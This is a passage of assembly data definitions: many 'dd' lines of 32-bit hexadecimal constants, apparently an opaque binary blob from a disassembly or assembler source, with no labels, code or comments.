0F550A8B0h, 7E73ACDEh, 0D5F44E0Bh, 0D1EF83DCh dd 2DBBB041h, 0EA2400CEh, 0C52EB3F1h, 0EC00598Dh, 4D421426h dd 4822A458h, 9E015893h, 5DF694B3h, 4650D04Eh, 4203A700h dd 6E7EAEDDh, 0FE7F003Eh, 0A9D0F834h, 87006188h, 0D2C59937h dd 71C27E1Dh, 4D500195h, 51F991C9h, 1174306Dh, 381583Bh dd 9C2A44B8h, 3CC98840h, 0ED893DF3h, 15FF9701h, 209BC4EEh dd 0BB00EB14h, 88F8C863h, 118C19h, 8D0F2DCEh, 68557A3Bh dd 7C05DF03h, 0CAF14529h, 0B060F5FFh, 0FE3A54F4h, 9AAF8064h dd 0BA201B43h, 97E93085h, 0C83521E0h, 8276BF03h, 0E8EF6A93h dd 5C8B38h, 398071E0h, 0D0904BC4h, 0ABD62301h, 35F56DD2h dd 158F020h, 0D1F993D5h, 0CCBBD834h, 1101C522h, 0D071FDD6h dd 0D081308Ch, 0D2FB58E5h, 0EAE3F468h, 2E8EB100h, 9F59BA7h dd 0DBA300CCh, 54249A14h, 51002D65h, 56D9938Ah, 45D2ACh dd 0E9CD95FFh, 30B7BB52h, 0E1003898h, 4B8ABD63h, 0E4FA6A54h dd 25A30098h, 5BE67C5Dh, 0DF3DE896h, 27158092h, 79A1D575h dd 0C9AF00E2h, 1BEC63C7h, 48037A9Ah, 81F16D40h, 405DAA8Fh dd 291427h, 0FE5504D8h, 5A53ED2Fh, 1FF47C5Dh, 7640AB39h dd 3E0BA808h, 0A18D002Ch, 8FEA5533h, 9A09C660h, 789540h dd 1E862FBCh, 0D40301FDh, 66D73F7Eh, 9511700Ch, 0EBD12500h dd 11C3E0EEh, 0EAF5EE1Dh, 812100A2h, 9A42A71Fh, 35076604h dd 0AE97995Bh, 67F0CE4Dh, 764E834h, 3B3B1AFh, 0DF22E0E4h dd 6BE83FAAh, 91943B00h, 0BF3EC1FDh, 28D09060h, 0F2F303h dd 0D75BD8C2h, 5ED2E309h, 9437B100h, 0D15E720h, 0FE2400B9h dd 0C0AC9AC7h, 8C002D0Ch, 54AE693Eh, 1CD404E6h, 44A780EEh dd 87B70950h, 0A4D950D0h, 0AA00023Bh, 3CD8BE39h, 72553841h dd 9E7D7Fh, 0B1E307DBh, 0C1ECB99Ah, 805CE23Ch, 0CE4CA4AEh dd 0A0E670h, 0E4B723EAh, 0A3EEB48Bh, 3FD68E00h, 1E19F125h dd 44834899h, 14245C7Eh, 0AB501100h, 154C79EAh, 7FC85F00h dd 0E167AC21h, 10824DFDh, 0B4DBA705h, 88A9C6F7h, 0F631E500h dd 0BE2ECCA2h, 66E91C9Dh, 423A9FAFh, 0CE03C88Fh, 29179060h dd 0A3C87CA3h, 490302EAh, 608270BFh, 776CF133h, 57020h dd 74E0C92Fh, 67F47838h, 72D848h, 6050981Bh, 9037C71Fh dd 0CD840C58h, 0DE706EF7h, 3B130900h, 0E51A2851h, 6C70174h dd 0C511CE64h, 0A050E4E9h, 0E37CC0A0h, 0E7A4230Fh, 0C17A80D2h dd 0BA1F85Dh, 0DE81926Ch, 60C32C06h, 0A91C2C98h, 7F40C523h dd 0A1704CBBh, 7EC80332h, 3D25C3A2h, 4B6B97D8h, 194EE30Eh dd 56B9C05Eh, 7FBD14F3h, 95A100DFh, 0B73F2154h, 0F8B0F1FBh dd 0BFC2470Eh, 7767202Dh, 9061745Fh, 93DE009Ch, 0F519D08Dh dd 6A3F4C9Bh, 123505B6h, 0C8808FC0h, 1F00A71h, 6552F866h dd 24DBB495h, 1FFEC8E8h, 5FA8E81Ch, 22B8AB01h, 1430BE87h dd 69D400D6h, 0BC590BEBh, 74001C62h, 24FA449Bh, 1DDD7BF1h dd 0A6535E9h, 80F44188h, 2E512CA6h, 9F6854Bh, 0B4CCE500h dd 32806B9Bh, 72C200FEh, 844E100Eh, 0F7003D8Ah, 7341CE4Dh dd 3A966Bh, 0DE15BEA5h, 0E2E70240h, 0FFD91100h, 4BEBCF43h dd 0BC6A0004h, 8AC185F4h, 0B06093BFh, 601A01E0h, 238B2631h dd 1DAA805Ch, 96D815EDh, 0F73BEC00h, 67065049h, 0ECB091h dd 0E7864A54h, 16F8B459h, 0CD26C00h, 0CAC78B04h, 0C04172D4h dd 0CD15C5E0h, 730B8172h, 0AB5BA7h, 0C120EC64h, 55441F58h dd 8E9307AFh, 0F8A0DE3Fh, 2AA3C36Eh, 6CB1F51Fh, 0B842A040h dd 0CF8201h, 0BF7507E8h, 15843789h, 0ADDC5600h, 4976EAC2h dd 13E31D6Eh, 0A52A4C40h, 0D507A2D8h, 18F6AE0Fh, 32ADA0A0h dd 2EB7E6C9h, 0AD5924h, 728A6DC7h, 0D0075C0h, 13E2A7E7h dd 0EAFE533h, 9E0A9F49h, 0C6183B00h, 0FD018FCEh, 81D89D4Eh dd 0FD40FA61h, 0FB8B0Bh, 742EC1DBh, 1409BB2Dh, 22374C00h dd 2FB039F1h, 0C0937C26h, 0E1482D28h, 8100AFC7h, 5638EDDFh dd 0E94173h, 0A362F846h, 1C02BCAEh, 0C01267Bh, 32E1079Bh dd 7AC0CBCFh, 5940021h, 8D0A1DA1h, 0FA00068Fh, 5E633A5Bh dd 1FA39548h, 40945A2Ch, 516DF0Ah, 6600CFD7h, 1E673357h dd 6048CEh, 0D274442Fh, 700F7B88h, 80D4C939h, 0CAEDC393h dd 77C2A5Dh, 0CC94DC5Ah, 0C7EE40B6h, 0E000758Ah, 8C163F18h dd 68D45A1h, 0E11351FCh, 0F707A2C0h, 312564D0h, 6EAB3C40h dd 45BC0062h, 91244EF4h, 5C0028E3h, 751585D1h, 4B76Bh dd 9D82B95Eh, 8F79C836h, 0D12D300h, 1BD2DC84h, 66083894h dd 4A292E80h, 0B99D5DDh, 0D72ADA00h, 5155D98h, 0E77C0088h dd 705949F6h, 2D031339h, 0AAD8336Bh, 0DBF9017Dh, 0A21F5BCFh dd 0A1803F51h, 317F2Ah, 9802444h, 6A1B29D5h, 8C06C201h dd 42613C41h, 0B582A840h, 4DD1005Dh, 16041E74h, 2D81E3D2h dd 0B4A740F6h, 360A0A3Fh, 848CE429h, 0F24603Bh, 0BDB322BAh dd 7AA5E085h, 265C0067h, 0B0CDD094h, 9C3D848Ah, 591409C4h dd 2B4B80BDh, 74801963h, 60860781h, 37D0BB6Ah, 2000C9CAh dd 0C6686DADh, 9B23F207h, 0B8F052C5h, 9DC174h, 37B38801h dd 6989F47Bh, 0AE723000h dd 7EBF5FAh, 0E8C10CDCh, 0CA4896D9h, 0AB0A901Eh, 0AEAA2B00h dd 64727Ch, 7E54E4E8h, 0C07A12A9h, 20700509h, 0B1366094h dd 9FF6E7h, 2A65969h, 7943F7E1h, 3FB02B26h, 0B3EAFF01h dd 31F8172Ch, 7AA53EB8h, 4059CE8Eh, 9FBDA0E0h, 0B00DB9Eh dd 715DB2FFh, 3F3B62Dh, 0C9945E66h, 94BCE427h, 1763C0A8h dd 59002EACh, 95C1A866h, 4B4FB9h, 0BE47AD38h, 0A032DDA6h dd 1B778D00h, 0E303DFC7h, 486AE68Bh, 2200047Dh, 0A68A49ADh dd 0DC1CC4D3h, 3C819358h, 2B02B908h, 757D560h, 0C92C684Fh dd 80256244h, 0B9FBBC80h, 0C7000D46h, 297E87DCh, 4B5FA3h dd 2BE914A8h, 1E60D01Fh, 66993A01h, 96D5EED8h, 9FF82024h dd 0B50188D8h, 0B4E2C2Eh, 0B040A204h, 1D610A30h, 4E9EF102h dd 2A80DDB7h, 28BA7E4Ah, 0D70077E4h, 0A17C8662h, 60D19017h dd 8C55C87Bh, 33020E9Ch, 0CEECFF6Bh, 0F16C487Ah, 0F44D72D9h dd 0C9153152h, 300137B0h, 2008114h, 0F9721E50h, 0F719C5h dd 0ABA3D40h, 613836D5h, 7F242CFCh, 0DD0368C8h, 0B0FF62B1h dd 0E36358Fh, 0F3C5C0F7h, 0AA057FA0h, 0DB1E26BCh, 0B1CF9C14h dd 0A47B601Eh, 0B47E48h, 1C13D93h, 0CCD8F0EBh, 8BE25D03h dd 143B8762h, 0E497F8C0h, 8315C0DEh, 264058Dh, 881EAE00h dd 7E0DF84Ah, 45C8A011h, 0EA790CCCh, 0CE10D3ADh, 1403ED00h dd 7E70A0F6h, 9B10386h, 6E3C1F84h, 1532F3C8h, 0FB994100h dd 0E4BEB02Fh, 0EDC70429h, 0C34A633Bh, 0D8C039A0h, 722C8D1Bh dd 7F09B257h, 0C7588EF8h, 0DA606E10h, 924D1Dh, 31F7F9F0h dd 3F5414EEh, 86B9AA06h, 60633Eh, 0AECFC102h, 4C915BB8h dd 9C0064B8h, 0F12D8E11h, 0C14E8C5h, 5A41F2EDh, 0B8A8F630h dd 60807E55h, 92DA0C94h, 5B9802C3h, 0D0F28013h, 0E12A000h dd 0E67361h, 2DA226C1h, 0A3BB1159h, 0F4845550h, 80E7583Ah dd 1B64D344h, 16743DAEh, 13459h, 389FAA01h, 8BF60681h dd 0EDD75000h, 577BBC90h, 0B22D3E92h, 0EB8AE0CAh, 6684321Fh dd 1E75FF40h, 38BA82A9h, 50006497h, 25ECD98h, 0C9036E79h dd 39354869h, 30911DB6h, 42958725h, 0FBBDC01Dh, 0A7004857h dd 0D0A33671h, 0E651524Fh, 0A8A202D1h, 0A5CCFD5Eh, 2E0B6B60h dd 0FAAF0C0Fh, 0F0108078h, 563F4Dh, 9FC9051Fh, 0CB0AEAF4h dd 3E527F00h, 59C7CA09h, 5E1A0057h, 253458C9h, 0B200D016h dd 806593E5h, 0ABF1CDh, 6418C6F9h, 0DAB966E4h, 888EF301h dd 11576D26h, 6756ECh, 0A87B0752h, 9B169ECCh, 0D02F4Ch dd 15FB6129h, 49450B38h, 0EC0F4093h, 5800B9DEh, 867DE5F1h dd 68E71B01h, 6F2DF609h, 3132EC40h, 0D6440017h, 7A4AD5ADh dd 0E0083FFh, 3EF4A66Bh, 28B0C71Ch, 18C312B2h, 367B053Bh dd 69765939h, 346C5800h, 70EE54D0h, 0AE6A2441h, 0BE8A8048h dd 0E4E9B792h, 58271507h, 3E945270h, 0FD381C1h, 97003432h dd 0E7AAD94h, 0A63CDCF0h, 3D43808Ch, 698B0A61h, 447B092Ch dd 4087BD7Ah, 31C1E115h, 1FE43013h, 3F20D171h, 36374A7h dd 0CFDDEF65h, 57E02351h, 777B9B09h, 4D999400h, 6A0E3D84h dd 31950014h, 403FE1A9h, 0B14CE609h, 0D81900F4h, 0C33868B9h dd 4CEEE673h, 7104E46Ah, 30967B11h, 0E285D787h, 1B5C0039h dd 692A6536h, 0E008EA6h, 0ED0BA468h, 63E43h, 481D9F3h dd 0F8E3DF8Fh, 0DC0DAC39h, 0CB704CDh, 0F8C00651h, 8032E85Eh dd 7F00152Ch, 0C4729768h, 0EA0321h, 0F4F2FA9Dh, 7BF616A3h dd 93AB9E00h, 0F95C0FF1h, 0DB40C005h, 86F8F279h, 2F549A00h dd 2164D47Ch, 3373D7h, 0A8501C4Eh, 0C072D304h, 5D134800h dd 91E7D1Fh, 359C0006h, 87C5BC7Ch, 16486D10h, 0BD9700ECh dd 0AE304928h, 48F263FFh, 0D4E038DCh, 512F4AA4h, 0C55070h dd 41245BF7h, 0CDADD76Eh, 0F0C8DB02h, 0E0C411D2h, 449E1Ah dd 782D819Fh, 0B46242ADh, 4CF4D600h, 0BC6CECA5h, 0F69E00B2h dd 0AAE78C1h, 74508A5Ch, 695CE188h, 79D8C0ECh, 1DAE400Dh dd 0C099F057h, 0F61B41DAh, 0E0001558h, 78F70E25h, 0E3B03167h dd 0A07050E9h, 1FB77E4Fh, 9CDB9566h, 443FC11Eh, 0C48DB9CFh dd 0F9F0C19Ch, 0AFCDDE00h, 0B7B5D831h, 0AD920054h, 7FBD3DACh dd 1307DC15h, 6949C780h, 0CF7DE1F0h, 268900B1h, 2F60DA70h dd 0E40767E7h, 433EF6A3h, 9ECA0600h, 9B4E4D9h, 0B08E23Ah dd 95B898A0h, 1F3BAD07h, 87A98089h, 74B10A11h, 0EFCF1EBFh dd 2F19CFD6h, 348A660h, 2D017B88h, 0FC4C75E9h, 55E8A06Bh dd 6FB022h, 2CA4D768h, 9C837B82h, 2F8CF60Eh, 7CC57E1Bh dd 801D70BBh, 0DAACE983h, 0B88DB817h, 9F82188Eh, 1CFAB9F2h dd 5B28D560h, 89FE7Ah, 0D0E61672h, 0E39714E5h, 64AF59h dd 3205A538h, 28CF124h, 13C20373h, 6048924Ch, 7826CB8Fh dd 24970407h, 20BB5449h, 53B63524h, 0B86C5874h, 19D41700h dd 0DBB43E70h, 0E60015F0h, 35C0BD9h, 0F8F8D5A0h, 8B351626h dd 32CD0191h, 30F9484Ch, 5C062FB8h, 0F8986816h, 0BFB70010h dd 0FEFB6695h, 8300F4FCh, 7CB23385h, 0C42312h, 5C685BC6h dd 0A4191A94h, 9D846A0Ah, 0EB05C803h, 0A4D09E2Dh, 1F3169Ah dd 7591E8B2h, 0E81F1835h, 0D2134E59h, 6440A422h, 3F6C2A7h dd 5E1009Ch, 3119EF01h, 0AB09CF72h, 8F731671h, 5AF9411Ch dd 9C7056ADh, 0D9BE0089h, 0D08DD5F0h, 67172B4Bh, 0B7F82FA6h dd 4A33A70Bh, 0B77E6880h, 84004F70h, 4985640h, 0BBA778Ah dd 230328FAh, 7ED0108Ch, 0B9747B1Ch, 6E3EDC0h, 2F658E24h dd 38F8151Ch, 27C9EC0Fh, 0E8E1622Ch, 36D080F4h, 3B91DBADh dd 1500A54Eh, 3DFE9CD4h, 2EC0D77Ch, 5020B6F1h, 0EED113CFh dd 0DEA440D0h, 0E32B4C7Fh, 0A78B9901h, 0FB7A918Ch, 6170AEF0h dd 859FA89Eh, 104734Ah, 7A8B0E78h, 54D88A97h, 0D9E50146h dd 5CAFFCCBh, 0A1F8D708h, 1B241445h, 2F11F43Ah, 6F01970Fh dd 0B638C8B5h, 40232192h, 0FAED128h, 0C001752h, 0F67A1FCEh dd 0F12F2E20h, 906B4330h, 98E9072Ch, 0F97A8D4h, 8B4E07F2h dd 4730D726h, 0A0505090h, 88011A9Ah, 67ADDE07h, 0D720E4FDh dd 988CB0BBh, 6C120CD1h, 0F310AA90h, 6D956F00h, 9B6B0497h dd 0BC4D00E3h, 2CB17F2Bh, 29C09607h, 90B479C9h, 99DB4CABh dd 0C0116448h, 620C004Eh, 0F4A94640h, 7BD92E2Fh, 70E70BD0h dd 7757E000h, 0F600E4D0h, 1ED0804h, 3394ACh, 6AE38373h dd 0AD146686h, 88ACFE5Ah, 1AC1626h, 21D8B6D9h, 2D11801Fh dd 6BD4D2ACh, 381B81Ch, 8772F965h, 0C78897CFh, 0F0B8F5DFh dd 0D8EE0324h, 6C304996h, 0FD989D7h, 7637B383h, 4052E1A5h dd 0F95575BCh, 440F51FFh, 0C09B947Dh, 0B1343FF3h, 2420F3Ah dd 1A374C9h, 4FC0C477h, 0D09DDB0h, 80CF5429h, 0E6EBE2EFh dd 493E4C13h, 0AF9C6E00h, 0E3629B4Eh, 3B147A5Ch, 6C668046h dd 0FDE7B6EEh, 5090F4h, 0CBECB405h, 4EE872E5h, 2C715000h dd 4FE09174h, 239600C0h, 54C2C444h, 1E3B751Bh, 5AAE00E2h dd 9BE73387h, 0FA2D705Fh, 0BFF31CA6h, 0C1E28046h, 0E8DBDEAEh dd 55982201h, 23713028h, 5B5FD440h, 0D8530062h, 52E79DE3h dd 0CCF6348Bh, 8DBFA900h, 81D6D1E9h, 0B8C0240Fh, 0AAB340A4h dd 0D900734Ah, 4E8BAEEFh, 941EC0Fh, 76DABC40h, 0D77D0880h dd 2407ACFEh, 0B592EE5Bh, 0FFA0C597h, 9ECE2CFh, 0A4DC4C0Ah dd 0A19B7C00h, 5254B5D1h, 0C55C4AD0h, 0AE3A0002h, 2F5FFB9Fh dd 0FA400571h, 432DEAEEh dd 6E2709D4h, 3489CEB8h, 0A2F0A1h, 55FC93h, 0D6EC5F68h dd 0B448751Eh, 80E1E300h, 23409F96h, 0ABF40CEBh, 28383544h dd 316679C2h, 0B0D86B51h, 7D9149B3h, 187B0199h, 13334D2Fh dd 0D0256077h, 2632F600h, 566B6FD7h, 8F0F1E83h, 4800E769h dd 0C3955C89h, 0D8584Ch, 9E6AD19Ch, 1FAA8F6Bh, 405A04E3h dd 4FEA8738h, 0DE001E74h, 8685F9F5h, 7A772C23h, 420B1FC7h dd 36EB0046h, 0B235DF87h, 87B1F00h, 0C8973482h, 375E1318h dd 6990C01Ah, 0C9015F78h, 85424ACAh, 0DF306468h, 7A33001Bh dd 1DEC3A7Ch, 0EBF449CBh, 30826D00h, 5AC8D366h, 593C01E0h dd 0F0DBE26Eh, 2D986420h, 0BBE6B000h, 0BC275B88h, 394F01F5h dd 0FC407B10h, 0E85AD8EBh, 0D236B700h, 200349F4h, 51421897h dd 3C909811h, 0D8B46E00h, 1413AA2Fh, 682B04DAh, 802E8A4Bh dd 209C9F40h, 240016FAh, 0CB94A75Eh, 60C1FF5h, 224D7EE9h dd 38015268h, 8CE50B80h, 3C2C93D6h, 24193300h, 368E4B6Dh dd 99EAC38h, 629AFAh, 0BF14BD40h, 697F005Fh, 0A5DCCE2Ch dd 18162889h, 671ED2F5h, 138EC2C0h, 43C4FFBh, 0D783E2Dh dd 0A3EAC0B4h, 0FC002ACDh, 119BAA21h, 6B7B18h, 29CBC3E1h dd 4D1B71D7h, 0ED12C0A1h, 2032CD72h, 0D01C7400h, 0A3813458h dd 0FF672CB8h, 454320h, 0D2BA7546h, 0E2BDA7E1h, 356D4E1Dh dd 8F898B04h, 0F7B36090h, 0E0AE00C8h, 0B1FC0A94h, 1A0959FBh dd 83A81DC3h, 0F022068Ch, 929FD09h, 0B7C881D2h, 2F722820h dd 9C00FF76h, 215DFBD8h, 7CAB56h, 0D5663FEAh, 55699FCDh dd 0F0BC2D50h, 48009CB8h, 5F80A070h, 0F120F1Dh, 9A60AF91h dd 0D310A580h, 440BF9ACh, 2E39C7Ah, 421A4041h, 4A1240D8h dd 83AA0043h, 3B6CB511h, 2800FF01h, 8DF229F5h, 1EE30BB1h dd 3AA531B0h, 4E229900h, 0C40A9C75h, 0B350217Eh, 0AD00429Eh dd 4F2E1E6Ah, 0FCC76030h, 0C18712C6h, 0E0CC8243h, 98213511h dd 0DE01C428h, 0D09EDFFh, 4F67DC23h, 29030D90h, 96117C0Ah dd 2FC2F09Ah, 9CB85094h, 589B0047h, 7B0C14FCh, 4107D41Eh dd 54C3C5D6h, 94FF8727h, 7232168Ch, 0CCB2EC00h, 26387410h dd 1E0845EEh, 5EB9C071h, 92908124h, 7AD6660Fh, 0E0118E48h dd 0F8549B75h, 5D044832h, 13EA1204h, 2EBCF027h, 2DB41600h dd 0D64D352h, 0EFE100DDh, 1184CB85h, 260227FEh, 23AC081Fh dd 0C82043C5h, 28C63Ch, 65A21AC9h, 9E960259h, 0EE9D1D00h dd 4D64EA8Dh, 9F580F1Bh, 1EEF7EE0h, 21D69C81h, 6070D44Eh dd 0E949ED00h, 0A46EA826h, 0E0A10028h, 8F2D3042h, 5601FA76h dd 7E29111Ch, 3C781833h, 0A4A36000h, 0F2D8B0AEh, 0C52DA601h dd 2ED37DAh, 2DCC6DCh, 744B27BFh, 90701C2Bh, 0C405A5Bh dd 6E93169h, 0F1720061h, 0C838BAFh, 0D70E59C6h, 96CE82D4h dd 0B93238D0h, 5F8E5C90h, 40AC3E01h, 714F9E6Bh, 7085DDB6h dd 8A01ABB4h, 54F49F6Eh, 0FC3498BBh, 0AE9600A7h, 835DD516h dd 0AC0E9309h, 125A80D1h, 241AA026h, 40F9954h, 0C3AF602Fh dd 0E9909666h, 4C028E29h, 650C747Ah, 4E38C052h, 6C70ED58h dd 5E38000Bh, 9BCA796Dh, 0B700256Ah, 0E0A35D2Dh, 0B3B0AD1h dd 0B961D6F0h, 7EE5698Eh, 1A58A03Ch, 0CFAA6C0Dh, 1C64A9FCh dd 0FDD707ABh, 700ADDF7h, 5E08EDA1h, 0C400EF74h, 0F054A5E6h dd 28E25A79h, 0EC674Bh, 381906D8h, 0BD8B1462h, 0F53A4803h dd 0C0B6346Bh, 47328ACh, 0E2FC6771h, 9E04C018h, 0C802760Fh dd 116F2398h, 8B434045h, 93DA023Fh, 8AEACEECh, 90048E6h dd 86D4FD4Bh, 0C4C8AFh, 0EA2899D0h, 0DA7ADB35h, 7B456900h dd 0BA71E3A7h, 9549002Eh, 4F889A08h, 0F00039C3h, 2832A2EBh dd 3038611h, 0E7F56B8Ah, 9B0DD17h, 96282E7Eh, 820EB357h dd 22E40ADBh, 50940301h, 88830080h, 2FFA0EC4h, 0C900C3B2h dd 173BE9B7h, 2CB97445h, 12E457h, 0D177B433h, 7590C1C8h dd 2F46260Eh, 0B77900C5h, 41988DAh, 8ED614A3h, 0D1FCC005h dd 975CDB30h, 10EC053Ch, 0C8476050h, 90A0112Bh, 2AF8757h dd 66E402B8h, 34C04ADDh, 0A90099E3h, 0CDFE6770h, 5CB8E1E0h dd 0BB26174Fh, 0DF240000h, 388A489Bh, 9A69C100h, 2DA759A4h dd 0C3AE3E3Bh, 1B85C24h, 9F1AA8D8h, 0E1A94363h, 1D2A5B90h dd 0F2BF2600h, 0A52B3A44h, 7D8302BEh, 6986C86h, 0EA9733E0h dd 0CE90C900h, 8BB8B2B0h, 2F090092h, 0DBE6233h, 2D51DFF0h dd 1A70C8A9h, 0F42A6E00h, 8EFA268Dh, 0D8900B0h, 297A4ABAh dd 45FC0807h, 0F8F058h, 5A51129Fh, 77D84CEh, 0DC1C58C4h dd 9D8310EEh, 3D00CF22h, 986DB409h, 1D32D5BFh, 0C04785E4h dd 4A2D9AA8h, 1F03E62Fh, 0C43A376Ah, 75B5E07Eh, 26C030Dh dd 0A1FB24B3h, 0F477D6C0h, 0CAB1762Ch, 0C72B4107h, 0F8119CA0h dd 17E45h, 5FB4D0Bh, 8E50F9CAh, 0E2688600h, 4AC07D82h dd 0ABEABAh, 0BF835A97h, 0E5D88B60h, 21B17CB6h, 18BB14A8h dd 0E2449Dh, 0FDCB3DA3h, 349E467Ch, 1040C513h, 85F4B412h dd 83A10077h, 0C9ABB679h, 45000BD0h, 0BA2C90FEh, 7BB3FD8Fh dd 0B8A7017Ch, 0CEDAA9E5h, 6F0EC8EFh, 83C96400h, 0B9080953h dd 0B44600C5h, 0A350E58Eh, 85006FC8h, 0E4CA626Eh, 5F458959h dd 0ED3C4065h, 4EFDF42Bh, 0BAF4B27h, 314B009Ch, 13D27B0h dd 64515063h, 0CC395B86h, 0E20176D6h, 2CA47DEBh, 0B870848Ch dd 5D4500BDh, 9B3FDF0Ch, 8600C8C3h, 5E37B85Fh, 707C3DADh dd 2DC92E53h, 4F68048h, 4119EC6Eh, 0CC747F7Ah, 0C94DAD00h dd 6F7DD427h, 6B510F96h, 3E60E1C5h, 8F0FED90h, 0DDB7E03h dd 0F0D3FC07h, 7E7CE5Ch, 0BAC74352h, 44B62750h, 0A5ECB033h dd 0E4946800h, 0A02E5669h, 85BB4C6Ch, 850C5C00h, 1E474AFEh dd 96A32500h, 65ABE06Dh, 87CB02F8h, 0C05AC836h, 0FA51C4C0h dd 0E6A7D500h, 5E35D242h, 3A4CBA74h, 0F5A5BA32h, 6167D88Fh dd 7BC6934Dh, 98A3B3A3h, 80F4C3B9h, 2EDA6021h, 1882DF0h dd 86DD8D76h, 7031E2B2h, 451C8EA8h, 79C0B489h, 0D8C83B54h dd 720A0117h, 4DC36F93h, 0CCAC71DAh, 0AAE2E399h, 0BA766400h dd 2FA23D2Ch, 0BB873EA6h, 7794DCh, 0ED4F964Ah, 0FC5F37DEh dd 5EB4AA06h, 0B92EC1h, 0B3D56ED2h, 0F0F56F2Dh, 0DD892Fh dd 0C2DE13C4h, 0BD94018Ah, 2A63A586h, 5E02D883h, 11A43531h dd 89F81762h, 3FB5FC78h, 0D5A4AC66h, 78CE14EAh, 7D95007Bh dd 0C16F4C2Bh, 24E4DA9Ah, 7FB20400h, 69EFF219h, 287200E8h dd 8DB797E1h, 0D6099AD9h, 8FA6EDBCh, 0A0506F87h, 0FD709245h dd 0A73C009Ch, 9A522F80h, 0A200B320h, 4C4FA87Ah, 0E0C472h dd 924E7E56h, 0CD338F83h, 77EC2A00h, 0D558E4CEh, 28778Ah dd 7142F724h, 3B61CA31h, 0B7C7E600h, 151D366Dh, 0C3020089h dd 0EF9120E7h, 0BAE66431h, 0FF90DB00h, 79A709D9h, 22E303BFh dd 418B9FD4h, 8443E9C0h, 0AAD77C00h, 0E8E20E8h, 0D8320295h dd 282E37C0h, 0F61DACA0h, 8C00937Ah, 0D8BB7E70h, 245D0B2Ah dd 0F5CB07h, 0BA578804h, 0A02AFECh, 36DF6B13h, 5B98602Eh dd 0F9811F20h, 3B54EFF8h, 5980C501h, 2BC46619h, 0F29DF2F2h dd 0EC4C007Ch, 0C1290AAEh, 340047E3h, 0C672C257h, 7A9D4695h dd 5B988Bh, 4D9CDA2Fh, 0A354A12h, 0C0DCCB00h, 0E5BD0C53h dd 6AA1003Ah, 0F6DB7079h, 0CC1D5B32h, 0E64045BFh, 0C872C5E1h dd 518A1EA6h, 0DBC200A3h, 7A58A059h, 0D7006C78h, 0C3BB09CDh dd 0AB470E49h, 9732E280h dd 1D2EE104h, 0E9D4608Bh, 6DEB8500h, 0B3CFDDDFh, 0B17E0053h dd 249C6B06h, 4803192Eh, 84E91817h, 0BB2921E1h, 9DA5FD04h dd 44427504h, 9744DEF2h, 0B1234EA2h, 2228D128h, 8350931Ah dd 0A4454E14h, 611149F5h, 107F1294h, 9A40F603h, 0A6108489h dd 0EB216E42h, 7FF8223Ah, 567488A5h, 88B44788h, 0C188F733h dd 0BC258043h, 0C3002B7Eh, 5F9C0F15h, 0D2E82Ch, 0BE69FBB6h dd 0C52389E9h, 5D2AB802h, 584AD0C8h, 0AEFA1714h, 86848013h dd 0CA00F710h, 3D68853Ah, 7DC1E61h, 0C66C194Eh, 0E82B50A7h dd 0E500DF42h, 0E3D1553Fh, 0F6B8158h, 0EF058F34h, 2E7FED00h dd 1E0022B0h, 1723930Bh, 2E52DCFAh, 0F07B39h, 60D1E1E4h dd 37EC4DCAh, 0DEEA7A03h, 9252C3h, 30D70B11h, 0C2C89954h dd 0F6B6E812h, 3ED30840h, 0E6F217E6h, 0F86B0129h, 50840A61h dd 0B3B4280Dh, 660AD924h, 5CFBE0h, 7B321F51h, 0C43BEDC5h dd 0D743B013h, 621E2903h, 0BF5EF841h, 66EB27B7h, 0AC0B800Eh dd 0E7FCD04Ch, 0DC2D3D00h, 3C919339h, 5CE400ACh, 402E4921h dd 53072CCDh, 0C56AEB23h, 1A375870h, 15B500F5h, 4872185Ah dd 75079D02h, 0B20DA6A4h, 2B3459A0h, 0C37C008Eh, 5ED6692Ch dd 0B0A8A76Eh, 77805908h, 32223AA9h, 0ECCFF980h, 8D60267Bh dd 0B9D22100h, 966387B7h, 0CBEE98h, 0E4C268C4h, 0D6924D2Ah dd 0B0B84C03h, 0CA5D5232h, 9FF4C00Bh, 0C91E006Ah, 1A1DECE2h dd 8D001089h, 96985645h, 22080h, 0C16881C7h, 875C23A9h dd 5F0EED00h, 0E71B889Ah, 79E20070h, 219096F4h, 0DFEA0915h dd 5527BF01h, 46D3BD5Ah, 120C30h, 0CBEDA599h, 5E810810h dd 0C9518900h, 2315F3E7h, 6C48C37Eh, 4BC0265Ch, 8C009F76h dd 0EF38E16Bh, 671D6Fh, 46A2F8DBh, 423C297h, 563F6000h dd 9F25B893h, 91EC07F4h, 4944791Ah, 33667782h, 9B6CF7C0h dd 3D935A0Eh, 0C76587B0h, 221A8F90h, 4E5BFE8Ch, 0AAE000CFh dd 138329E9h, 9CDA4A61h, 0B3D85351h, 0DE60096h, 0AE4E21ADh dd 6C1E124Ch, 5603B768h, 0F8D4E942h, 211C0F8h, 2E313DE2h dd 5C40C24Bh, 4988BAA8h, 302B007Ah, 979E9BF9h, 6600AB22h dd 2E964CE0h, 137235Fh, 0D335ADD7h, 0D49826A6h, 0B100B41Dh dd 2ED117CFh, 34F5733h, 0D22A22B8h, 62833A32h, 55E5D803h dd 0B0D9EEF4h, 0C3EE7h, 7E50EC6Fh, 355B0DA5h, 0A8002090h dd 60BFBC5h, 643FFA9h, 0A11BF632h, 3A07D81Dh, 4C673814h dd 8D0A2090h, 8A6600E5h, 739B851Bh, 0DD049D62h, 5F4569D6h dd 5C0698E0h, 0AD0016B5h, 0CBF68FCFh, 71047CE0h, 8E0F5FA7h dd 3839D8C0h, 56C40147h, 239FCB10h, 5B28C83Fh, 70857600h dd 0D9FE622Dh, 9010001Ch, 0F5A9BD7Ah, 981DAEE4h, 0D1805692h dd 33FC2ACEh, 80D609F6h, 4C80538Ch, 6C8DA220h, 29D2AA03h dd 0D8080AA6h, 51E6D71Ch, 0E6308C5Ch, 0DE004h, 8233DD90h dd 365125C7h, 2B4DD102h, 5C26109Bh, 0D015C02Ch, 0B0001C7Dh dd 0B65D9806h, 301A476h, 88775923h, 0F8B83D8Dh, 4A00FE13h dd 0CB727E41h, 0B4870FC6h, 2E003C28h, 2915BCE1h, 84FAA004h dd 0E05B8E00h, 4C3B8BDCh, 0B7883F7Ah, 0E6159Ch, 9BB4148Ah dd 0DB00C1D5h, 0D8643962h, 14110h, 50128C47h, 0AC617E30h dd 6CAF9300h, 0B95AFD0Fh, 2C7822h, 250CAA68h, 1FFF43D9h dd 0FE67F18h, 8A9230h, 449234Bh, 0F6BEBA39h, 0D92C2E03h dd 0B09CE533h, 0D1763Bh, 644B4049h, 11EEE1DCh, 0F800C8B6h dd 11456ACh, 2FCBEh, 0E0461A99h, 6D95472h, 715A1903h, 0E00708ECh dd 2F9B26h, 47AA4E10h, 397B0F20h, 